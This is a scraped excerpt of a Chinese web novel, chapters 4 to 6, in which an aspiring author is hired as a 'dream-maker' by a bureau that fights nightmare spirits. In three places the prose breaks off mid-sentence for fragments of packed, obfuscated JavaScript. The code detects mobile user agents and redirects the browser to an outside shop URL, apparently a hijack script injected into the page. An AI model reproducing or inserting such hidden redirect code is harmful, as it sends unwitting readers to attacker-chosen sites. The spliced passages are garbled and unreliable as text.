这动作,让孟晓初看着有些尴尬。以前宅家写小说,她只能接受人们在虚拟的互联网上看自己的文字,网络带给她的隐蔽安全感十足;后面为了生计的一时冲动,她把小说打印后供路过的陌生人翻阅,这无疑是把自己“剥开”展露在外面。说没有羞耻和尴尬是假的。 最初,她对每一个来看小说的人都热情地介绍,但她发现越是这样的热情越能吓走好奇心只有几秒的陌生人,渐渐地,她开始装作不在意用余光去观察他们看完小说的表情。 现在,她的读者正坐在身边用心在勾画这些文字,让孟晓初想到了小时候老师在桌前面对面改作文的场景。 尴尬,又有点感动。 孟晓初没再看手机上的电影,一直偷偷瞄着大叔。直到对方要离开了,两人才再次搭上话。“有写了新故事请给我留一份,我很期待这本刑侦文的后续。” 女孩有点懵,反应过来后呆呆的点头,难道这个大叔也要成为自己的固定读者?但后续是,这个大叔再也没有来这个公园。 不过,韩征开始来得很频繁,每次都会在小摊前看一会小说,哪怕这些都被他翻阅了四五遍。 十一月中旬的一个大晴天,因为天气好孟晓初早早到了公园来摆摊。冬天要来了,不刺眼的阳光晒在身上暖暖的,时间一久,她便开始犯困。 但刚闭上眼,耳边忽然传来一个熟悉的声音。 “有兴趣加入好梦局成为造梦师吗?” 女孩睁开双眼,发现韩征就站在自己跟前,他眯着眼将手上的单子摆在她的眼前。“上四休三,包吃包住有五险一金,工位零食不限加班双倍补贴,过节有礼过年分红。” 有些发懵的孟晓初接过单子定睛一看,是一个名为“好梦局”的入职申请表。 烈阳下,这张白纸黑字的入职申请表尤为刺眼,孟晓初看着上面一栏栏待填的信息框陷入沉思。 这是给她量身定制的杀猪盘吗? 4. 第 4 章 “认识了这么久,我们算朋友的吧?”孟晓初苦笑一声,意味深长地看着男人。她实在想不出一个理由,可以让韩征把这份“美差”送到自己跟前。 虽然他们经常线上约单写文,但关系也没熟到这个地步。 在孟晓初的眼里,这个福利多到让人头晕眼花的工作肯定另藏玄机,在看不到的地方或许埋着天坑等着她跳下去。一时间,女孩也拿不下答案。 闻言,韩征的脸上没露出多意外的表情,依旧是冷冷的姿态,点头表示理解:“如果你不相信,可以先跟着我去看看,我不强求的。” 孟晓初无言,她再次拿起那张申请表仔细查看,企图找到一个拒绝的理由。韩征也没离开,依旧站在女孩的面前低头看着她,两人的气氛开始变冷,在即将到达冰点的时候,女孩开口了。 “一个月工资多少呢?”孟晓初站起身把单子揣进卫衣口袋里,她拖着小说展架直奔公园后的超市,把东西寄放在那里。 韩征跟在女孩的身后,两人站在超市的门口,他道:“月薪三万,若这个月做的单子多,还可以往上加。” 男人的语气轻松从容,仿佛在说一件不起眼的小事。 低头给关瑶报完信的女孩听到这个数字身体止不住一怔,抬起头目瞪口呆,惊呼道:“三万?” 孟晓初坐上网约车,偏头看着窗外的风景缓缓后退,微凉的风吹在脸上有些冷。现在,她十分的清醒,脑子里忽然闪出一句母亲常说的话语。 饿死胆小的,撑死胆大的。 但女孩万万没想到,在好梦局门口迎接她的那个人居然是曾经在长椅上批注小说的大叔。一头雾水的孟晓初看着和蔼可亲的大叔,仰头又瞧了瞧大门口用书法写得牌匾——好梦局。 内心涌上一股复杂又说不清的感觉,孟晓初下意识地后退两步。 她好像真的被做杀猪盘了,现在跑还来得及吗? 两天前,傍晚,饭厅。 戴着老花镜的陈三叔悠闲地坐在餐桌边,津津有味地看手上的小说,瞥见剩余的页数寥寥几张,不甘地放下小说留下明天再看。 韩征弯腰小心翼翼地端着刚关火的砂锅鸡汤,余光扫了一眼桌上的小说,看到熟悉的书名和作者心里瞬间一惊,停顿两三秒后面不改色地回到厨房端菜。 《三世界》,作者花颜。 这是孟晓初的文章。 “你把人直接带过来吧。”韩征刚坐下还没端起碗,对面的男人便开门见山,他知道这说的是谁。但此刻,韩征决定装傻充愣。 夹了一筷子土豆丝送进嘴里,声音含糊不清,他说:“谁?” 陈三叔微抿一点儿白酒,放下酒杯嘴巴不自觉地发出咂得一声,眼神带着怒意:“你说谁?” “我不知道。”韩振低头扒饭,把自己隔绝在餐桌之外。 “我看过孟晓初写得小说,还不错。”看着男人油盐不进的模样,陈三叔缓缓又开口:“她给你编写的梦境在委托人的脑子里没有出现任何排异现象,甚至在某种程度上还鼓励了委托人。” “我们本来就缺一个专业的编梦人,她来这里刚好可以跟你组队去斩魇,我也能够休息,不用每天抠破脑袋去想故事。” “况且,她现在不也是没正经工作吗?” 韩征嘴里的饭咀嚼得越来越慢,逐渐无味。他不是没想过把孟晓初引进好梦局成为造梦师,但他们的实际情况特殊,一个普通的年轻人能接受超越根深蒂固认知意外的东西吗? 好梦局从诞生到现在,正真了解其过往的人屈指可数。在街坊四邻眼中,这个好梦局就是打着神魔幌子卖安神香、缓解压力的按摩店。如果要将自家孩子介绍到这里工作,他们心中一万个不乐意。 韩征没再开口,默默地把碗底的饭扒赶紧,离开之时在陈三叔的注视下才开口“嗯”了一声。饭后男人无事可做,躺在床上点进和孟晓初的聊天页面,看着无聊又生硬的对话,他动手开始敲字。 要不要提前告诉她呢? 最后男人删掉了敲出的两行字,翻身下床坐在电脑前创建表格。由于工作过于特殊,他们从未想过招新人,连入职申请表也得现场搓。 几分钟后,韩征盯着自己弄出来的四不像,毫不犹豫地开通软件会员,购买了首页推荐的入职模板。 陈三叔带女孩进了客厅,倒了杯浓茶。他把刚读完的小说从茶几下拿出,脸上露出浅浅的笑容:“《三世界》的下册你开始写了吗?我很好奇安妮的结局。” 闻言,孟晓初的脸上迅速闪过惊愕,害羞的低下头腼腆地小声回答道:“没想到您真的把它看完了,下册我正在写估计还要等一段时间。” “那你写好了一定要卖我一份,我很期待这本。” 一阵寒暄后,孟晓初身上的不自在渐渐融化,整个人也松懈下来。 “你一定好奇过为什么韩征会花一万八来让你来写个人人都能写结局。”陈三叔在空白的纸上写下造梦两字,随后又延伸出一条黑线,标记为蒋安。 看见熟悉的名字,初见的记忆很快涌上孟晓初的心头。 复读三年的高三生蒋安被联考压得一蹶不振,因唠叨怒杀了最亲的外婆,最后这只是一场梦,联考顺利度过,被杀死的外婆还活在人世…… “听说过‘鬼压床’吗?”陈三叔问道。 孟晓初点点头开口解释:“一种自然生理现象。” “那如果在鬼压床的基础上再制造一个根据你记忆和弱点的梦境,反复上演内心害怕的场景你会怎么做?” “这只是个梦而已,醒来就好了。” “那如果你已分不清现实和梦境呢?” 此话一出,女孩一语凝噎,不理解地看向沙发另一旁的陈三叔。人怎么可能会走不出梦境? “这是非自然梦魇,靠吞噬人类精气为生,我们俗称梦魇。或许你现在有些绕,但放在蒋安的身上你就会明白了。”陈三叔喝了一口茶,润了润嗓子,又道:“蒋安在联考前一直被梦魇缠绕,已经到了分不清现实和梦境的地步。而韩征所给你提供的故事,则是他梦魇制造的梦境。” 陈三叔的话很轻,眼神中流露出一种同情,“其实他的外婆在开学前就心梗死在了乡下老宅,亲人的离世加上联考的压力,在梦魇的一遍一遍影响下蒋安把自己划为‘凶手’。” 紧接着,男人在其余空白的地方写下“造梦”两个字,“你续写了这个梦境,某种关系上,你救了蒋安,抚平了他的伤痛。在韩征斩除梦魇后没有你写的这个梦境,蒋安会在梦境里自杀,最后醒来的则是一副被梦魇占据的空壳。” “我看过你写的小说和续写的所有梦境,都很不错。如果你能接受造梦这个工作的话,我想聘请你作为好梦局的独家造梦师。”说完,陈三叔便起身上楼直奔书房,几分钟把一份合同摆在了女孩的跟前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529340|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟晓初越听越糊涂,眼前仿佛有一张巨大的蜘蛛网,她越是动手想要快速理清,但细小的白丝就缠得越紧。 女孩喉咙一阵发干,拿起桌上的茶杯想要喝水,不过她忘了早在几分钟前杯子里剩余的水就被自己一饮而尽。她空洞地看着前方的茶几,耳边不断回响着陈三叔的话。 如果没有她的续写,蒋安就死在了梦境……回想起这段时间和韩征的所有交易,女孩写出的定制结局少说也有十几个,自己随手写下的文字竟然关乎着一个人的生命,想到这里孟晓初的内心翻涌出难言的感触。 忽然,手掌传来温热的触感。孟晓初低头一瞧,手上的空茶杯不知何时被韩征换走,现在手上是一杯晾好的清茶。她喝了一小口,温度适宜的茶水滑进喉咙里,清新的茶香顿时让沉重的脑袋得到了喘息。 “谢谢。”女孩偏头小声道。 一杯香茶下肚后,孟晓初也理清了现在的情况。只不过,她还是很好奇为什么会找自己来担任这个造梦师。全天下写的出好文的作者一抓一大捧,定居在海城的知名作家她也知晓几个,为什么这一切就选中了自己? “海城的知名作家有那么多,你为什么找我?”孟晓初问道。 “因为他们的文字没有温度。”陈三叔咧嘴一笑,又开口说:“你所续写的每个梦境都让我们的委托人大脑中的安稳值不仅回到了平衡,甚至向上增进,这对于他们大脑意识的恢复很有帮助。” 原来是在这样。 眼下,她的确需要一份合适的工作来养活自己,而造梦师这个职业确实也成了最优选。孟晓初犹豫了片刻,开口道:“我可以成为造梦师。” 此话一出,陈三叔露出了意料之内的表情。 孟晓初随手翻阅了几下合同,看不出什么差错后抬手便要签下自己的名字。但在即将落笔的那一刻,一只手轻止了女孩的动作。 陈三叔起身走到女孩的对面,脸上温和笑盈盈的神情消失的一干二净,他严肃冷漠道:“在签合同之前,我们要进行一场小测。” 女孩一愣,但没开口反驳。突然,兜里的手机传来来电的声响,是关瑶打来的。孟晓初思索了一番,还是挂断了电话。陈三叔提来笔记本电脑放在桌前,屏幕上面显示着一段未写完的故事。 “在韩征做完饭出来之前,你写完故事我都算你测试合格。”陈三叔道。 孟晓初半张着嘴巴,却说不出一句话。眼看着陈三叔又添了壶新茶,端上了各种坚果、曲奇饼干,将茶几都快铺满。 离开客厅之时,男人回头望着孟晓初,和蔼的笑容再次浮现在脸上。“晓初姑娘啊,你有没有什么喜欢吃的菜?” 孟晓初再次傻眼,愣了半天看到正系围裙的韩征从厨房走出来,立刻向对方投去求救的眼神。韩征无奈扶额,半推半攘地赶走男人,片刻后他又回来了,端来一盘切好的水果。 “晚上留在这里吃饭吧,有什么想要吃的菜可以告诉我。” 看着系着粉色碎花围裙的男人,孟晓初脑子里那个清冷成熟的形象立刻崩塌,忍不住捂嘴笑了半天,“你OOC了你知道吗?” 韩征视线一低,平静的脸上迅速冷下,“我做饭只需要半个小时,你好自为之吧。” 闻言,女孩原本挂在脸上的笑容立马一僵,想要抓住对方的围裙求饶却空手,只好迅速合十一个劲地低声请求。 “求求你了。” 5. 第 5 章 陈三叔提供的故事很简短,两三千字,是关于女同的。 柯梦是一个大三在读的女学生,从沿海的一线城市考到了海城学院,这个坐落于郊区且紧挨着一条大河的学校,附近据说还有野鸭子。 不过在她读书的这几年,她每次路过这条河时,都不曾见过这个被吹上天的保护动物。但在大二的冬天,一个寻常的周五,她在马路边等车的时候遇见了一个女孩。 阮小年,大一计算机学院的。 她一见钟情了。 因为同是女生的关系,外向的柯梦有意地向阮小年靠近,热情率真的性格迅速地在对方的心中讨有好感。她成了阮小年最知心的朋友。跨年夜的那晚,酒过三巡的柯梦告白了,性取向直白地袒露在阮小年面前。 她喜欢她。 两人的友谊在说出那句“我喜欢你”之后被撕的粉碎,不过这一切在阮小年的眼中都是柯梦醉酒的胡话。这一晚过去,明天她还是她,柯梦还是柯梦,她们还是彼此最要好的朋友。 但,柯梦不这么想。她开始追求阮小年,哪怕对方已经明确拒绝过。柯梦坚信,恋爱是看感觉的。阮小年之所以不喜欢女生,是因为她没有和自己谈过。 这一追,便是整整一年。在这一年,阮小年被同班男生暗恋追求,交了一个学长男朋友,不过都以失败收局。柯梦从中作梗,将阮小年身边的异性通通赶走,私自将对方冠上自己的名义。 阮小年,是她柯梦的。 又是跨年夜,同样的时间和地点,柯梦再次向阮小年告白。这一次,阮小年好不留情面的拒绝了对方,并提出绝交。她原本安稳幸福的生活,全部被柯梦搅得一团乱,在班上还有不少人误以为她是女同。 酒精上头的柯梦为了挽留小年以死相逼,如果不答应她的请求她就立刻跳河。两人大吵了一架,阮小年直接拎包走人,留柯梦一个人站在学校门口的马路边。她是不相信柯梦会跳的,一个成年人怎么会丧失理智因为情情爱爱就拿自己的生命开玩笑? 她低估了柯梦。 柯梦站在大河的堤坝边,给小年发了最后一条消息。 ——你说一句我也喜欢你,我就往回走。 阮小年看到消息后立刻往回走,看见柯梦站在堤坝边,有些生气地叫她回来。冬天夜风格外大,吹得柯梦脑袋只发疼,她始终没听见自己想要的。最后,她问小年这段时间和她在一起快乐吗? 阮小年嘴巴上下张合,没有出声。借着路灯的白光,柯梦看清楚了她的话语。 我、讨、厌、你。 柯梦没有回头,迈开步子向下冲。河水翻滚的巨响没有击退她想死的心,冰冷生硬的淤泥更有阻挡她的步伐,即使步履蹒跚,柯梦也走到河边。 流淌的河水漫延至她的大腿,阮小年气喘吁吁地在后面追赶她,只要再走几步,让河水漫过自己的腰间。 阮小年就一定会说出那句话,答应自己的请求和自己在一起,柯梦知道小年从始至终就是个心软的姑娘。 “阮小年,你能和我在一起吗?”柯梦大喊道。 但她失算了。 即将来临的暴雨电闪雷鸣,河水迅速上涨。几分钟后,雨水如断线的珍珠不停地往下落,河面掀起圈圈涟漪。在柯梦即将走到河流中心时一个巨浪翻过,瞬间将人吞噬。 只隔两三米远的阮小年亲眼看着柯梦身后的巨浪,抬手间一个活生生的人便消失在河中央。 柯梦死了,阮小年成了杀人凶手。在她死后的每一天,阮小年都在被柯梦父母讨伐,她是罪人要用一辈子的光阴为自己赎罪,向众神佛祈祷柯梦有来世。 如果当初自己答应了对方的请求,或许柯梦就不会冲动。 如果当初自己跑的再快点拉住了她,或许柯梦就不会死。 读到最后,孟晓初的心里泛起阵阵无力感,情绪复杂地合上电脑靠在沙发上。如果再按照蒋安那种“团圆式”的结局重新编写故事,这将违背主人公原本的意识。 在往后的深夜里再次回想起这个梦,于阮小年而言这是一个永远走不出去的迷宫。所有人都是快乐的,除了她。 听到厨房传来炸东西的噼里啪啦声,孟晓初意识到自己所剩时间不多。这一次的结局,她决定跳出第三者的视角,用阮小年的眼睛来写。 女孩删掉了部分结局,再在下面缓缓敲出一行字: 湍急的河水流过阮小年的双腿,她看着即将到达河中央的柯梦,情绪奔溃地大喊道:“你为什么要这样做,为什么要这么轻贱自己的生命?” “我从始至终就不喜欢女孩,你在我心里就只是朋友,我们的关系也只能是朋友。你曾经是给我带来快乐,我非常感谢你,但现在我很痛苦。” 一道惊雷迅速划破黑夜,阮小年被吓得一哆嗦,她没有停住脚步努力朝柯梦跑去。女孩紧紧抓住对方的双手,试图将柯梦往河岸边带。不料,对方却用力推开了她。 柯梦不相信地摇摇头,依旧执迷不悟:“如果我去死,你就会喜欢我了。”说完,她拔腿便朝深处快步走去,嘴上念念有词。 阮小年没有再去追,她站在原地,嘶喊地说出了最后一句话:“如果你都不珍爱你的生命,那么我也不会。” 骤雨暴下,全身湿透的阮小年不顾一切地朝岸边奔跑,急促的呼吸让喉咙上涌出丝丝血腥味。眼角抑制不住的热泪与天上的雨水混为一体,女孩明白,这不是她的错。 阮小年逃出了那场自我献祭的大雨。 爱情不是单方强求换来的自我感动,是两人互相喜欢下有意的冲动和默许。 写到这里,孟晓初没再往后动笔。这个新的结局她很喜欢,甚至还想在写点东西,但脑子里却想不起一个字,一句话。 现在,就挺好。 “姑娘,你还没有写好吗?”陈三叔的声音从饭厅传来,孟晓初闻到了红烧排骨的香味。偏头一看天色不知不觉已经黑了下来,女孩活动了番脖子,将电脑顺手递给了身后的韩征。 一个小时前,厨房。 韩征弯腰在水池旁处理活鱼,拿起菜刀游刃有余地处理鱼鳞。一旁的陈三叔则搭个小板凳坐在垃圾桶边剥蒜,手机上还放着最近热火的言情短剧。 “之前你没跟我说过要测试啊?” 陈三叔没有回答,而是把手机的音量提高。 韩征停下手中的活儿,狐疑地转过身看着陈三叔,“那个故事不是我明天要去的那家的吗?” “你这个人问这么多干嘛哩!”陈三叔蹭得一下站起来,语气不善:“我想偷个懒行了吧?有这么好的造梦师不用,你傻还是我傻?” 男人将一碗剥好的蒜瓣砰的一声放在台上,怒气冲冲:“我是上司你是下属,不要本末倒置。”说完,刘三叔头也不回的走了出去。 但没过两分钟,他又折返回来,不容反驳道:“酸菜鱼少放点辣椒!我这几天屁股痛。” 韩征继续手上的活儿,没有回答。突然,后背被人狠狠拍了一巴掌。 他无奈地开口:“哦——”,声音拉长且毫无情感。 两人一同走到饭厅,早就坐下的陈三叔已经在给两人倒饮料。韩征把电脑拿给了他,陈三叔扫视过屏幕,舒展的眉头忽然紧皱。见状,孟晓初的心提到了嗓子眼,右手开始不自觉的摩挲起袖子。 半晌,对方都没开口说一句话。 孟晓初心虚的低下头,心里已经做好了最坏的打算。如果没有被录取,她就去人才市场找工作,不论什么样的都可以。 突然,眼前多了一块木制工作牌。孟晓初抬头看去,发现韩征拿着它嘴角上扬,露出浅浅的微笑。虽然它摇摇晃晃,但女孩还是看清楚了上面雕刻的字。 好梦局造梦师——孟晓初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529341|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这个结局很不错,恭喜你,成功被我局录用。”陈三叔笑道。 孟晓初欣喜若狂的接过工作牌,轻轻抚摸过上面的凹凸不平的雕饰。她真的做到了。签下入职合同后,三人又回到了饭厅。 这时,屋外的大门口突然响起阵阵门铃声。 韩征推开门一瞧,是一个眼生的姑娘。“你好,你们这儿有没有一个叫孟晓初的?”对方开口问道,语气焦急。 孟晓初听到自己的名字顺势走出来,一眼边看到了站在门口的关瑶。女孩飞快的跑到好友身边紧紧相拥,下一秒,对方直接推开了她,劈头盖脸地骂道:“死丫头你为什么不接我的电话?我给你发了那么多消息,你一条都没回复我!” “你知不知道我很担心你啊!”说到最后,关瑶的声音染上了一丝哭腔。孟晓初要去面试入职,下午摸鱼时她躲在公司厕所里搜索这个地方,发现这是个和养生馆差不多的小店。 关瑶担心了一下午,快下班了她还没收到的孟晓初的消息,一打卡完女孩就杀到这里来。终于,见到了人。 孟晓初摸出手机发现早已经没电关机,自知理亏便好声好气地哄人。“别生气了,下个月我发工资了给你买个包包行吗?” 关瑶白了一眼她,忍不住戳穿了孟晓初:“你都是靠我活着,还拿钱给我包包,真是太感谢了!” 两人磨蹭了一会儿,心在饭菜上陈三叔再次向两人发出留下吃饭的邀请。“一起留下来吃饭吧,早就做好了。” 关瑶警惕地环顾,拉紧了孟晓初的手,皮笑肉不笑地露出了对待客户的假笑,婉拒道:“谢谢,但是我已经在家里做好了饭,我和她就不留下来叨扰你们了。” “没关系的,晓初现在也算我们公司的一员,就吃个饭不麻烦的。”陈三叔又道。 闻言,关瑶脸色一变,开始上下打量眼前两人,还有这半大老旧的房子。“还是不用了,晓初的父母打了电话过来让我们回去。” “我妈给你打电话了?”孟晓初侧头小声问道。 关瑶私下偷偷捏了一下女孩的手心,“对啊,你不接电话就打到我这里来了。”女孩尴尬的嘿嘿一笑,主动开口:“三叔不用再留我们了,我妈刚从国外回来我得回去看她。” 闻言,陈三叔作罢,让韩征送两人到门口。 “回去了好好休息吧,周末不用过来上班,下周一早上九点过来。如果还有什么疑问,可以在微信上问我。”网约车还有七八分钟到达,韩征将两人带出了小巷。 关瑶站在马路口边等车,给两人留出了独处的空间。暖黄的路灯下,两人的影子被拉长,孟晓初无聊的踢开脚边的石子,从接到这份美差到正式入职,一直都有韩征的帮助。 寒冷的夜风吹来,女孩冷得缩了缩脖子,哑着声音:“今天,谢谢你……你把我介绍过来。” “不客气,我是觉得你很合适才推荐的,至于能否入职也看你的实力。总之,恭喜你。”韩征抬手蹭了蹭冻得发红的鼻子,低头道:“未来的日子,请多指教了,搭档。” 韩征的声音很小,速度又快,孟晓初完全没听清说什么,一脸疑惑地盯着男人。下一秒,女孩便被男人用力地转过身,着急地推她上车,视线压根不敢与孟晓初交汇。 “你在说什么?”孟晓初按下车窗,问道。 韩征视线乱飘,慌张地回答:“没什么,你听错了。” 汽车开始发动,韩征看着小车离自己越来越远。突然,一个头从车窗里探出来,是孟晓初。汽车行驶带来的微风吹得女孩长发乱舞,她回头冲着韩征露出狡猾的笑容。 眉眼弯弯,一口小白牙。 男人一愣,手上的手机忽然震动两秒。韩征打开微信,是孟晓初发来的信息。看着文字后附赠的奸笑表情包,韩征泄气一笑。 ——周一见啦,搭档。 6. 第 6 章 关瑶带着孟晓初回到了公寓,她率先进去放东西换衣服,留女孩独自站在玄关出换鞋。屋子里飘着一股酸菜鱼的香味,早就饿了的孟晓初放好鞋子后就立马往餐桌跑。 果不其然,上面摆着一大碗浇油的酸菜鱼,旁边还炒了两个爽口的小菜。“你居然真的做了饭?”孟晓初伸手就要捻一片青菜尝个味道,下一秒,一双筷子无情地打过来。 “去洗手再来吃。”姜尚华把蒸好的香肠放在桌上,顺势解下围裙。 “妈?”孟晓初捂着被打痛的手后退几步,一脸狐疑地看着对面的妇人。这几天姜尚华要回国的消息她知道,但突然冷不丁地出现在面前,孟晓初还是有些把持不住。 洗完手后孟晓初开始盛饭,看见穿着睡衣出来的关瑶,她背着姜尚华悄悄地朝女孩挤眉弄眼。关瑶明白她的意思,无辜地摇摇头,张嘴做出“晚上说”的嘴形。 两人刚坐下,姜尚华便开始往她们的碗里不停地夹菜,眨眼间便在米饭上堆成一堆。直到饭碗放不下,姜尚华才停手,转身又拿了两个空碗给她们盛汤晾着。 “阿姨,您不吃吗?”关瑶接过汤碗,问道。 姜尚华双手撑脸看着眼前两个小姑娘吃得腮帮子鼓鼓,眉眼温柔露出浅浅的笑意,“我来的时候就已经吃过了,这顿饭是特地做给你们吃的。” “阿姨,你的手艺真好,比晓初做的饭好吃一百倍。”关瑶打趣道,夹走了盘里最后一片香肠,还没送进嘴里便被旁边的人半路劫走。 “上学的时候没看你少吃我做的饭,那个时候怎么不嫌弃我的厨艺?”,孟晓初夹着香肠故意在关瑶眼前晃了晃,最后一口吃进嘴里,女孩幸福得闭眼直摇头。 姜尚华看着两人插科打诨的模样,轻轻地将晾好的汤推到孟晓初跟前:“晓初,吃完饭跟我回家吧。” 此话一出,孟晓初扬起的笑容僵在脸上,很快淡去。女孩低头吃完东西,没去喝汤,语气平静:“不了,我打算在这里住一段时间。” “这是小瑶的房子,你过来借住会打乱别人的生活。”姜尚华没有生气,语气依旧柔和,又开口道:“我知道你和爸爸还没和好,但是你们不可能就这样一辈子冷着对方。问题,总是要被解决的。” 孟晓初双眼黯淡无光,她直直地盯着餐桌上的鱼骨头,疲惫不堪:“我找了份工作,等做出成绩了再回去。对不起,妈。” 姜尚华还想再说点什么,但看到女儿那副伤神的样子,所有未吐出的话语全部堵在唇舌之内,咽下于心。场面一度安静,每个人的心里都扎着一根拔不出来、无形的刺。 “不回去也行,小瑶这几个月就麻烦你了。我公司还有事情没处理,先走了。”姜尚华起身离开,路过孟晓初身边时她停下脚步,抬手轻拍女孩的肩膀,低声开口:“想家就回来看看,不要太劳累了。” 关瑶送她到门口,分别时她嘱托了女孩很多。不是关于孟晓初的,是她们俩的。 后来,孟晓初洗碗拿围裙擦手时,发现了姜尚华放在兜里的银行卡,她知道这是什么意思。从小到大每次只要她决定开始独立,不依靠任何一个人时,她总会看到这张卡的身影。 厨房明亮的灯光下,女孩看清了卡身上数条细小的划痕,她紧紧握在手心,嘴里酸一阵苦一阵。 深夜,两个姑娘躺在一张床上,盖着白天刚晒过的被子。 “你面试的那个地方到底是干什么的?我看着不太靠谱。”关瑶捧着手机靠在床头回复工作群里的信息。 侧身躺着刷视频的孟晓初没有马上回答,想了好一会才开口:“就一个帮人释放压力、调节精气神的小店,有焚香按摩、心理疏导的活动。” “真的?”关瑶狐疑道。 孟晓初侧过身子,正对着女孩语气诚恳:“真的。” “你能行吗?” “那你就太小看我了,我虽然没正儿八经地学过心理学,但倾听还是会的。况且,我也很少会接触到客人,一般都是去打杂。只有他们去出差店里没人了,我才顶上。” 孟晓初没敢给关瑶坦白真实情况,她明白如果全部让对方知晓,关瑶的第一反应会是她被人骗了,和鬼上身一样魔怔得说胡话。 “上次那个男孩呢?我咋没看到他。”孟晓初放下手机,平静地盯着天花板。 还在和群里因工作舌战群儒的关瑶闻言一怔,故作轻松地回答道:“这都多久了,怎么可能还住在我这里?他被他老子揪回去了。” 孟晓初挪动身子朝关瑶凑了凑,问道:“他叫什么名字?” “你问这个干嘛?”察觉出自己的反应过于激动,关瑶懊恼地叹了口气:“赵远骁。” 看到了女孩别扭的举动,孟晓初没有趁机揭穿打趣,她知道关瑶对那个男孩有感觉。孟晓初把被子盖过头顶,“喜欢就要努力争取呀。”,声音闷闷的。 声音一出,关瑶立马明白女孩的意思,红着脸反驳:“谁喜欢?” * 两天后,孟晓初起了个大早,跟着上班的关瑶一同挤进地铁。周一的早高峰让两人寸步难行,孟晓初几经辗转才走到好梦局。此时,她已经迟到半个小时。 推开半掩的大门,女孩径直走向屋内的大厅,环顾四周不见一个人影。 在她低头准备发韩征发消息时,身后传来一个男声。“你来了?”韩征从楼梯上缓缓走下,手上还捧着一面花鸟螺钿铜镜。 “三叔呢?” “他去边南看朋友了,这三天都不会回来。” 韩征把铜镜交给女孩,孟晓初一脸茫然,不明所以道:“这是干什么?” “我带你去书房看炼塔,在这之前没有在铜镜录入自己面貌是推不开房门的。”他把铜镜举在合适的位置,又开口说:“点头三下,左右摇头两下。” 这不就是手机录入面容ID的过程吗? 女孩虽然不理解,但还是照做,之后铜镜便自动合上。“这就好了吗?”孟晓初问道。 韩征点点头,随后转身上楼。两人来到书房前,男人把铜镜挂在书房的木门上,后退一步示意女孩上前开门。 “啪嗒——” 一股若有若无的血腥味迅速钻进孟晓初的鼻子里,漆黑无光的房间里中央立着一座高塔,泛着绿光的气体漂浮在塔身四周。 “这是炼塔,每次从梦中斩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529342|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的噩魇便放在这里炼化,完成后我们将保存到等级相对应的罐子里。”说完,男人抬手从书架上拿过一个玻璃罐,数点点浅黄荧光在罐子里游动。 这一幕,孟晓初想起了儿时在外婆家捉萤火虫的场景。 “蒋安的梦魇就在里面。”韩征拧开罐子,一点荧光像毛茸茸的小虫落在了女孩的手上。孟晓初实在不能把这柔软的荧光与操控意识的梦魇结合在一起,感觉格外的撕裂。 “它们会永远地封存在这里吗?”女孩轻声问道,小心翼翼地将梦魇送回到玻璃罐里。 “只有少数不会。被炼化的梦魇若完全消除恶念,它们会作为美梦种子生活在人的身体里。不吞噬意识,只会根据人的记忆和想法创作美梦。”韩征将东西放回原位,动手拉开身后的窗帘,“走吧,下面有客人来了。” 屋内一亮,炼塔四周所有的荧光消失。孟晓初吃惊地看着书架上的一排排玻璃罐,里面空空如也。 来的人是一个烫着时髦卷发,画着全妆的中年阿姨,她驻足在大厅四下打量。看到韩征下楼走上前去,立刻露出兴奋的笑容。 “小伙子,我昨天找过你的你还记得吧?”徐阿姨是这条街最里面的一户人家,开着一个小型的理发店。平时除了爱走街串巷闲聊之外,就是打听打听哪里的俊男美女还没对象。 她本人是非常热衷于给人说媒的。俗话说,宁拆十座庙不毁一桩婚,看到般配合适的人选也会主动前线搭桥。 但就是这么一个人人夸赞的红娘,也有做不下来的姻缘。自家女儿二十七八了都没谈到恋爱,别说男朋友,连身边的异性都屈指可数。 母女俩因为这件事吵了三个月,就在上周女儿直接摆明自己是个不婚主义者,这一句华气得徐阿姨一口气提不上来,心口硬生生地被堵了一块石头。 听朋友说好梦局可以缓解压力,她这才找到韩征。 “记得,你焚香和按摩都要弄对吧?”男人问道,带着徐阿姨到东边的屋子去。这边有四个卧室,分别用来焚香和按摩。陈三叔在家的话,他就来点香,但现在家里只剩下他和孟晓初。 按摩的活自然就落到他的头上。 徐阿姨换好衣服后侧躺在床上,直勾勾地盯着站在一旁的男女,“你们两个谁给我按摩呢?” “徐阿姨我给你按摩,她是新来的只能点香。”韩征回答道。男人偏头示意孟晓初去柜子里拿香,一头雾水的女孩跟电灯泡一样,韩征戳她一下她亮一下,全然不知下一步该怎么做。 随后,韩征又去厨房切了果盘进来,等一切准备工作做好后,躺在床上看电视的徐阿姨突然开口:“小伙子,能让那个姑娘给我按摩吗?虽然阿姨已经结婚了,但男女有别。” 